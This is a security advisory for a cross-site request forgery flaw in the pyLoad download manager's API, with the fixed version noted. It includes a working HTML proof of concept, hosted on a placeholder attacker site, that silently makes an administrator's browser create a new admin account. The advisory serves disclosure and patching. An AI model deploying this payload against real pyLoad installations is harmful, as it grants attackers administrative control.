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bdu:2024-01075

EUVD-2026-244899

fkie_cve-2024-22416

pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.

GHSA-pgpj-v85q-h5fm — Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Affected: PyPI: pyload-ng

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

### PoC We host the following HTML file on an attacker-controlled server. ```html <html>  <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ```

If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application. ![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)

The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`. ![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)

### Impact Any API call can be made via a CSRF attack by an unauthenticated user.

gsd-2024-22416

PYSEC-2024-17

Affected: PyPI: pyload-ng